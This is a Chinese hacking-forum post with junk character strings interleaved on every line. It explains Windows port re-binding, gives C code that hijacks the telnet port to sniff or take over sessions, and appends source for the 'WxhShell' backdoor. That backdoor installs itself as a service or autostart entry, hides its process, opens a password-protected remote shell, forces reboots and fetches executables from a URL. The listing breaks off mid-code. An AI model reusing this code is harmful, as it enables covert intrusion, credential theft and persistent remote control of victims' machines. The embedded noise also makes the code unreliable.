社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12918阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kjOkPp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5{vuN)K3  
[F{P0({%?  
  saddr.sin_family = AF_INET; UgZL<}  
2 i NZz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QHnC(b  
Lzcea+*uw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lvLz){  
C9,Uwz<!]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R D?52\  
A!}Ps"Z  
  这意味着什么?意味着可以进行如下的攻击: vY,D02 EMw  
1 (e64w@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2lqy<o  
A8:eA  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M)H*$!x}>  
2h)Qz+|7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |=V~CQ]  
FJT0lC  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _N0N #L4M  
&VG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BKgCuz:y  
vTIRydg2b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x+DecO2  
EG3u)}vI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k dhwnO  
o%0To{MAF-  
  #include >5D;uTy u  
  #include `}rk1rl6  
  #include Py?Q::  
  #include    #qxo1uV(c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,lFp4 C  
  int main() 9\0$YY%  
  { #Jr4LQ@A9  
  WORD wVersionRequested; fVdu9 l  
  DWORD ret; wzBI<0]z  
  WSADATA wsaData; :H+8E5  
  BOOL val; rZE+B25T~  
  SOCKADDR_IN saddr; #&%>kfeJ)<  
  SOCKADDR_IN scaddr; % iZM9Q&NC  
  int err; & x_ #zN]  
  SOCKET s; cH+ ~|3  
  SOCKET sc; F07X9s44E  
  int caddsize;  M+:9U&>  
  HANDLE mt; {-%8RSK=<  
  DWORD tid;   <y&&{*KW8m  
  wVersionRequested = MAKEWORD( 2, 2 ); *kEzGgTzoS  
  err = WSAStartup( wVersionRequested, &wsaData ); y*p02\)  
  if ( err != 0 ) { FW|_8q?}<  
  printf("error!WSAStartup failed!\n"); qdxaP% p2  
  return -1; 8;# yXlf  
  } [+!&iN  
  saddr.sin_family = AF_INET; <1 ;pyw y  
   m(0X_& &?z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M}Xf<:g)  
(NN;1{DB8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q|e-)FS)  
  saddr.sin_port = htons(23); 7R# }AQ   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T Q5kM  
  { p<,`l)o}~  
  printf("error!socket failed!\n"); D3%2O`9  
  return -1; `*U$pg  
  } / :6|)AW.{  
  val = TRUE; OmS8cSYGc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +T8MQ[(4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yxU9W,D v  
  { G=SMz+z  
  printf("error!setsockopt failed!\n"); -4P `:bF  
  return -1; kX8NRPW  
  } HrfS^B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0/9]T Ic  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lW|v_oP9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lk[Y6yE  
>?rMMR+A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ic"8'Rwb  
  { u05Yy&(f  
  ret=GetLastError(); }lT;?|n:h  
  printf("error!bind failed!\n"); -6~.;M 5  
  return -1; 0!7p5  
  } #sDb611}#  
  listen(s,2); RS l*u[fB  
  while(1)  >]~|Nf/i  
  {  bLAHVi<.  
  caddsize = sizeof(scaddr);  qLP/z  
  //接受连接请求 C4P<GtR9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /jGV[_Q=P  
  if(sc!=INVALID_SOCKET) RjVmHhX  
  { U+@U/s%8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S2_(lS+R  
  if(mt==NULL) e}S+1G6r)  
  { 6a9$VGInU  
  printf("Thread Creat Failed!\n"); %yu =,J j  
  break; @NqwJ.%g  
  } x +pf@?w  
  } O#^H.B  
  CloseHandle(mt); -TH MTRFz  
  } IA({RE  
  closesocket(s); v{fcQb  
  WSACleanup(); V 3cKbk7~  
  return 0; #mA(x@:*  
  }   /:' >-253  
  DWORD WINAPI ClientThread(LPVOID lpParam) V?1 $H  
  { ]L7A$sTUQ  
  SOCKET ss = (SOCKET)lpParam; DQm%=ON7  
  SOCKET sc; -4& i t:  
  unsigned char buf[4096]; a4=(z72xe  
  SOCKADDR_IN saddr; $R1I(sJ  
  long num; `+"(GaZ  
  DWORD val; ;ryNfP%  
  DWORD ret; W%-XN   
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qop,~yK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -6HwG fU  
  saddr.sin_family = AF_INET; JHt U"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >m,hna]RZ  
  saddr.sin_port = htons(23); AXW.`~ 4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &|~7`  
  { /uj^w&l#  
  printf("error!socket failed!\n"); *}d N.IL,  
  return -1; ,T<JNd'  
  } P*O G`%y  
  val = 100; 0)332}Oh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z qo0P~  
  { ?<TJ}("/  
  ret = GetLastError(); Y(.e e%;,  
  return -1; nQjpJ /=  
  } j)?M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VP~2F E  
  { iM)K:L7d  
  ret = GetLastError(); Nc7"`!;-   
  return -1; 'z(Y9%+a  
  } :*M?RL@j  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IMH4GVr"  
  { G`Nw]_ Z_  
  printf("error!socket connect failed!\n"); d +D~NA[M  
  closesocket(sc); ,X4+i8Yc  
  closesocket(ss); h|CZ ~  
  return -1; ~oa}gJl:}-  
  } &v{#yzM  
  while(1) EfrQ~`\  
  { pj$JA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \yr9j$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x#D%3v"l_*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d:(Ex^^  
  num = recv(ss,buf,4096,0); a)QT#.  
  if(num>0) Fv pU]  
  send(sc,buf,num,0); +'<P W+U$  
  else if(num==0) K ze?@*  
  break; ws'e  
  num = recv(sc,buf,4096,0); gwoe1:F:J  
  if(num>0) eiKY az  
  send(ss,buf,num,0); '~D4%WKT  
  else if(num==0) djdTh +>28  
  break; d4S4 e  
  } vB8$Qx\J  
  closesocket(ss); xE:jcA d$}  
  closesocket(sc); J:@gmo`M;V  
  return 0 ; ; llPM`)  
  } 3 7BSJ   
"cKD#  
[ohLG_9  
========================================================== ,hn#DJ)  
|OH*c3~r  
下边附上一个代码,,WXhSHELL >3!~U.AA'x  
_J1\c~ke"  
========================================================== u cpU $+  
k&$ov  
#include "stdafx.h" fsL9d}  
Msqqjhoy  
#include <stdio.h> ET}Z>vU}+  
#include <string.h> @xWWN  
#include <windows.h> L7rgkxI7k*  
#include <winsock2.h> nwFBuP<LR  
#include <winsvc.h> Fv^zSoi2  
#include <urlmon.h> Wk%|%/:  
g *Js4  
#pragma comment (lib, "Ws2_32.lib") xX<f4H\'  
#pragma comment (lib, "urlmon.lib") 5P!ZGbG  
_k@cs^  
#define MAX_USER   100 // 最大客户端连接数 5iA>Z!sP[  
#define BUF_SOCK   200 // sock buffer qO>UN[Y  
#define KEY_BUFF   255 // 输入 buffer a|t~&\@  
XDPR$u8hM  
#define REBOOT     0   // 重启 a=MN:s?Fc0  
#define SHUTDOWN   1   // 关机 Hu|Tj<S  
4S26TgY  
#define DEF_PORT   5000 // 监听端口 s5*4<VxQN.  
+f/ I>9G  
#define REG_LEN     16   // 注册表键长度 \!^=~` X-  
#define SVC_LEN     80   // NT服务名长度 _&-d0'+  
>$m<R &  
// 从dll定义API fI`Ez!w0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !aT:0m$:9c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nah?V" ?Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UT3Fi@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'h$1 z$X5  
$mJv\;t  
// wxhshell配置信息 cO5F=ZxR  
struct WSCFG { .n7@$kq  
  int ws_port;         // 监听端口 %+'Ex]B  
  char ws_passstr[REG_LEN]; // 口令 l#[Z$+!09  
  int ws_autoins;       // 安装标记, 1=yes 0=no N@|<3R!N*e  
  char ws_regname[REG_LEN]; // 注册表键名 xa)p ,  
  char ws_svcname[REG_LEN]; // 服务名 xNIrmqm5]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yY8zTWji_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R'gd/.[e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yr%[IX]R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Htgo=7!?\3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~66xO9s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xnP!P2  
t^rw@$"}  
}; Jz@~$L  
}#XFa#  
// default Wxhshell configuration 3N7H7(IR  
struct WSCFG wscfg={DEF_PORT, '%NglC[J  
    "xuhuanlingzhe", 1\.$=N  
    1, /R)wM#&  
    "Wxhshell", &.?XntI9O  
    "Wxhshell", *IG$"nu  
            "WxhShell Service", Zi!Ta"}8  
    "Wrsky Windows CmdShell Service", ks '>?Dw  
    "Please Input Your Password: ", MY&Jdmga  
  1, 3*b5V<}'|  
  "http://www.wrsky.com/wxhshell.exe", -fR :W{u  
  "Wxhshell.exe" \/A.j|by,>  
    }; zG!nqSDG  
_VtQMg|u  
// 消息定义模块 #&Sr;hAJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r"h;JC/&<T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wQkM:=t5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vvoxK0  
char *msg_ws_ext="\n\rExit."; t}EM X9SQ  
char *msg_ws_end="\n\rQuit."; xmW~R*^  
char *msg_ws_boot="\n\rReboot..."; pSZ2>^";  
char *msg_ws_poff="\n\rShutdown..."; c0!.ei  
char *msg_ws_down="\n\rSave to "; U|(+-R8Z  
EY}:aur  
char *msg_ws_err="\n\rErr!"; U84W(X  
char *msg_ws_ok="\n\rOK!"; -%K!Ra\W  
g?C;b>4  
char ExeFile[MAX_PATH]; ']]d-~:  
int nUser = 0; 4w4B\Na>l  
HANDLE handles[MAX_USER]; *{o7G  a  
int OsIsNt;  >@ t  
(~T*yH ~  
SERVICE_STATUS       serviceStatus; H=t"qEp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )G? qX.D  
W :w~ M'o  
// 函数声明 rr<E#w  
int Install(void); {7o#Ve  
int Uninstall(void); S}m_XR]  
int DownloadFile(char *sURL, SOCKET wsh); q2GW3t  
int Boot(int flag); )8Va%{j  
void HideProc(void); p7h#.m~Qu  
int GetOsVer(void); +Y\:Q<eMFg  
int Wxhshell(SOCKET wsl); !_S>ER  
void TalkWithClient(void *cs); boh?Xt-$  
int CmdShell(SOCKET sock); #;!&8iH  
int StartFromService(void); 2wf&jGHs  
int StartWxhshell(LPSTR lpCmdLine); OWd'z1Yl  
rS8a/d~;0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %+7]/_JO&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0lw>mxN  
_IH" SVub  
// 数据结构和表定义 WJ7|0qb  
SERVICE_TABLE_ENTRY DispatchTable[] = "fFSZ@,r  
{ >r.]a`  
{wscfg.ws_svcname, NTServiceMain}, pYO =pL^Q  
{NULL, NULL} ?ukw6T  
}; S_}`'Z )  
#-hO\ QdC  
// 自我安装 Iv`IJQH>  
int Install(void) ^aFm6HS1  
{ OvdT* g=8*  
  char svExeFile[MAX_PATH]; h8rW"8Th  
  HKEY key; !, 4ag1  
  strcpy(svExeFile,ExeFile); GAGS-G#  
0D-`>_  
// 如果是win9x系统,修改注册表设为自启动 A_9WSXR  
if(!OsIsNt) { OLw]BJXYaE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E&[5b4D@<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jW/WG tz  
  RegCloseKey(key); OATdmHW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +9)Jtm oL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6r7>nU&d  
  RegCloseKey(key); {@Wv@H+4  
  return 0; @SQsEq+A?\  
    } Gvb2>ZN  
  } '3.\+^3  
} 'H1~Zhv  
else { _0H oJ  
;m/e|_4;y  
// 如果是NT以上系统,安装为系统服务 'C+cQLig@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m_NX[>&Y3  
if (schSCManager!=0) .?>Cav9:  
{ ~o}:!y  
  SC_HANDLE schService = CreateService .ZXoRT  
  ( }\4yU=JP K  
  schSCManager, ttP7-y  
  wscfg.ws_svcname, obb%@S`  
  wscfg.ws_svcdisp, 6j E.X  
  SERVICE_ALL_ACCESS, gF6> /  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K7}.#*% ~  
  SERVICE_AUTO_START, dwj?;  
  SERVICE_ERROR_NORMAL, N:j 7J  
  svExeFile, RQ+,7Ir  
  NULL, ZR>BK,  
  NULL, J,W<ha*  
  NULL, '|}A /`  
  NULL, ;QI9OcE@/  
  NULL {kpad(E  
  ); Q_mphW:[  
  if (schService!=0) /VR~E'Cy%  
  { hgU;7R,?ir  
  CloseServiceHandle(schService); -L2.cN_  
  CloseServiceHandle(schSCManager); $4bc!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); InPE_  
  strcat(svExeFile,wscfg.ws_svcname); +p u[JHF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R%r bysP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (s8b?Ol/  
  RegCloseKey(key); ax@H^Gj@2  
  return 0; Bdo{zv&A  
    } 5es t  
  } ^eW<-n@^  
  CloseServiceHandle(schSCManager); >Kgw2,y+  
} G e;67  
} GDu^P+^  
NuZ2,<~9  
return 1; 2D 4,#X  
} fA=Z):w  
|q`NJ  
// 自我卸载 >$ q   
int Uninstall(void) HxI6_>n^I  
{ %;`Kd}CO  
  HKEY key; C% -Tw]T$_  
ki1(b]rf  
if(!OsIsNt) { )uqzu%T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yan^\)HZ  
  RegDeleteValue(key,wscfg.ws_regname); y2W+YV*  
  RegCloseKey(key); N{J 1C6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e5_Hmuk|  
  RegDeleteValue(key,wscfg.ws_regname); U[C>Aoze  
  RegCloseKey(key); d4o ^+\  
  return 0; 7F<{ Qn  
  } fPe S;  
} 9xA4;)36  
} <4rnOQ:  
else { u(vZOf]jL  
xG!~TQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V?XQjH1X  
if (schSCManager!=0) ?Q:SVxzUd  
{ CPB{eQeDuv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f:Pl Mv!{  
  if (schService!=0) KL \>-  
  { h)Y] L#R  
  if(DeleteService(schService)!=0) { 7@@g|l]  
  CloseServiceHandle(schService); aM5]cc%  
  CloseServiceHandle(schSCManager); M?l v  
  return 0; ky2]%cw  
  } %ap(=^|5  
  CloseServiceHandle(schService); !Z_+H<fi+I  
  } L<FXtBJ  
  CloseServiceHandle(schSCManager); Pmv@  
} >zJHvb)b\  
} Fk=SkS ky  
n/ KO{:  
return 1; x-i1:W9;  
} tz ;3  
X]y:uD{  
// 从指定url下载文件 I>?oVY6M@u  
int DownloadFile(char *sURL, SOCKET wsh) fd[N]I3  
{ `W86]ut[  
  HRESULT hr; 1(p:dqGS  
char seps[]= "/"; ///Lg{ ie  
char *token; !.P||$x`&  
char *file; hs7!S+[.$$  
char myURL[MAX_PATH]; t:2DB)  
char myFILE[MAX_PATH]; 5G355 ,}E  
V'9.l6l   
strcpy(myURL,sURL); M5{#!d}^D  
  token=strtok(myURL,seps); 6R45+<.  
  while(token!=NULL) =~ Uhr6Q  
  { qfsPX6]  
    file=token; .D@J\<,+l  
  token=strtok(NULL,seps); )$]lf }  
  } NQ`D"n  
]5'$EAsuW  
GetCurrentDirectory(MAX_PATH,myFILE); 8m"k3:e^  
strcat(myFILE, "\\"); 3(c-o0M  
strcat(myFILE, file); "{~5QO   
  send(wsh,myFILE,strlen(myFILE),0); @1CXc"IgA  
send(wsh,"...",3,0); C*mVM!D);!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *}\M!u{J  
  if(hr==S_OK) AW5iwq6p  
return 0; UDEGQ^)Xz|  
else f$dPDbZQ  
return 1; 3en 9TB  
m,)s8_a  
} @HS*%N"*  
_:Qh1 &h  
// 系统电源模块 o-6d$c}{f  
int Boot(int flag) Gd!-fqNa'x  
{ -PV1x1|  
  HANDLE hToken; y?OP- 27y  
  TOKEN_PRIVILEGES tkp; AYnPxiW|  
2|;|C8C  
  if(OsIsNt) { D;+/ bll7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); poBeEpbs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yX!u&  
    tkp.PrivilegeCount = 1; brA#p>4]Wf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =muQ7l:(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &3SS.&g4W  
if(flag==REBOOT) { @6UtnX'd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]c>@RXY'  
  return 0; $!O@Z8B  
} HTh? &u\QG  
else { IWE([<i}i[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C&z!="hMhR  
  return 0; OD)X7PU  
} :UdW4N-  
  } bqbG+ g  
  else { jt}Re,  
if(flag==REBOOT) { 4o#]hB';ni  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m4m-JD|v  
  return 0; ^ 9+ Qxv  
} Y|R=^ =d\  
else { |jIHgm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OQumA j  
  return 0; KSs1EmB  
} ^(JrOh'  
} R%.`h  
`ArUoYb B  
return 1; qy|bOl  
} WRZpu95v  
O_;BZzT  
// win9x进程隐藏模块 "5N4 of 8  
void HideProc(void) [WDzaRzd  
{ \kQ)fk]^  
4 $R!)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,g?ny<#o  
  if ( hKernel != NULL ) $^Xxn.B9  
  { <PSz`)SN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x/<ow4C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GXZ="3W |  
    FreeLibrary(hKernel); 0#NMNZ  
  } Kyh6QA^  
!EIH"`>!  
return; r $S9/  
} [j@ek  
A'w+Lc.2  
// 获取操作系统版本 L<V20d9  
int GetOsVer(void) nC3+Zka  
{ OD'~t,St  
  OSVERSIONINFO winfo; ftY&Q#[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vGyQ306  
  GetVersionEx(&winfo); TzC(YWt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .Vt|;P}  
  return 1; W_XFTqp^  
  else |6d:k~p  
  return 0; qt OuA  
} s>;"bzzq  
q<\r}1Dm  
// 客户端句柄模块 rX$-K\4W  
int Wxhshell(SOCKET wsl) W4 q9pHQ  
{ )%jS9e{d  
  SOCKET wsh; s-*N_Dv  
  struct sockaddr_in client; IRM jL.q  
  DWORD myID; _3 [E$Lg  
5S? "<+J'  
  while(nUser<MAX_USER) ^I/(9KP#  
{ hak#Iz0[C  
  int nSize=sizeof(client); Db2#QQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T\wOGaCW  
  if(wsh==INVALID_SOCKET) return 1; ~oOv/1v},  
/,7#%D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w+rw<,u%  
if(handles[nUser]==0) ~b8.]Z^  
  closesocket(wsh); AkjoD7.*  
else p,WBF  
  nUser++; I-.? qcy~  
  } Q9y|1Wg1W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yq3"VFh3d  
&\?{%xj  
  return 0; LzXIqj'H7T  
} a w~a /T:  
Qvny$sr2  
// 关闭 socket fR.raI4et  
void CloseIt(SOCKET wsh) 0T3r#zQ  
{ Ahd{f!  
closesocket(wsh); R U[  
nUser--; avS9"e  
ExitThread(0); hQSJt[8My  
} \l6mX In=>  
^1}ffE(3>  
// 客户端请求句柄 !oV'  
void TalkWithClient(void *cs) VAxk?P0j6  
{ f2|On6/  
0txSF^x  
  SOCKET wsh=(SOCKET)cs; 9 DXu*}  
  char pwd[SVC_LEN]; nDC5/xB  
  char cmd[KEY_BUFF]; JvUHoc$sI  
char chr[1]; A&'HlI% J  
int i,j; Qe/=(P<  
] )x z  
  while (nUser < MAX_USER) { yC=vTzzp  
A%M&{S'+|X  
if(wscfg.ws_passstr) { #iGz&S3iN$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xcIZ'V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1/q iE{NW  
  //ZeroMemory(pwd,KEY_BUFF); w_J`29uc  
      i=0; RZE:WE;5  
  while(i<SVC_LEN) { NU/~E"^I.  
=09j1:''<d  
  // 设置超时 s.dn~|a  
  fd_set FdRead; G@Zi3 5  
  struct timeval TimeOut; &<i>)Ss  
  FD_ZERO(&FdRead); u= +  
  FD_SET(wsh,&FdRead); /[#{#:lo2  
  TimeOut.tv_sec=8; 7!N5uR  
  TimeOut.tv_usec=0; 1 }q[8q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q+ST8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ! xqG-rd '  
<ct{D|mm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $X&OGTlw^  
  pwd=chr[0]; qaGIU`}:$A  
  if(chr[0]==0xd || chr[0]==0xa) { 1aMBCh<}JN  
  pwd=0; ?R{?Qv  
  break; #XY]@V\  
  } LP)mp cQ  
  i++; gZ!(&u  
    } L,4 ^Of  
GRV9s9^  
  // 如果是非法用户,关闭 socket ng<`2XgU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +m7 x>ie)  
} /+1Fa):  
/eMZTh*1P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @ Q1jH~t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G =4y!y  
pn7 :")Zx  
while(1) { CC-:dNb  
coFg69\^  
  ZeroMemory(cmd,KEY_BUFF); Cw|SY  
Qy/bzO  
      // 自动支持客户端 telnet标准   lM1!2d'P  
  j=0; )Z%+~n3o'  
  while(j<KEY_BUFF) { qtH&]Suu,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v(7A=/W_  
  cmd[j]=chr[0]; "AK3t' jF*  
  if(chr[0]==0xa || chr[0]==0xd) { Y)*lw  
  cmd[j]=0; t3>r f3v  
  break; Yr=mLT|JN  
  } "qm>z@K  
  j++; (Sv%-8?gs  
    } FVmg&[ .  
_dBU6U:V  
  // 下载文件 +=k|(8Js#  
  if(strstr(cmd,"http://")) { piFQ7B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZtLn*M  
  if(DownloadFile(cmd,wsh)) =|%T E   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JAz;_wS(k  
  else 5l}h8So4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kZ9pgdI  
  } Q8q_w2s,  
  else { a&hM:n4P  
"y0 A<-~  
    switch(cmd[0]) { \IfgL$+  
  UVJ(iNK"  
  // 帮助 ,AM-cwwT:u  
  case '?': { P.B'Gh#^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fdG.=7`  
    break; o?FUVK  
  } WCu%@hh=h  
  // 安装 ZRm\d3x4  
  case 'i': { |pR$' HO  
    if(Install()) ,-Nk-g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6w;|-/:`  
    else y}HC\A77uD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3raA^d3!?  
    break; ZG<!^tj  
    } "J{zfWr  
  // 卸载 Q$L(fH kw  
  case 'r': { yWtr,  
    if(Uninstall()) !y~b;>887  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A_~5|  
    else ]/Qy1,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ha! "BR  
    break; W? ||9  
    } "@w%TcA  
  // 显示 wxhshell 所在路径 ;w(1Ydo  
  case 'p': { Q5n : f+  
    char svExeFile[MAX_PATH]; O f@#VZ  
    strcpy(svExeFile,"\n\r"); (x0*(*A}  
      strcat(svExeFile,ExeFile); ~"2@A F  
        send(wsh,svExeFile,strlen(svExeFile),0); yWi0 tE{  
    break; WcO,4:  
    } UH-uU~  
  // 重启 89#0vG7m  
  case 'b': { M2Fj)w2   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "IS^a jaq  
    if(Boot(REBOOT)) qK vr*xlC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3;S`<  
    else { ?VP!1O=J  
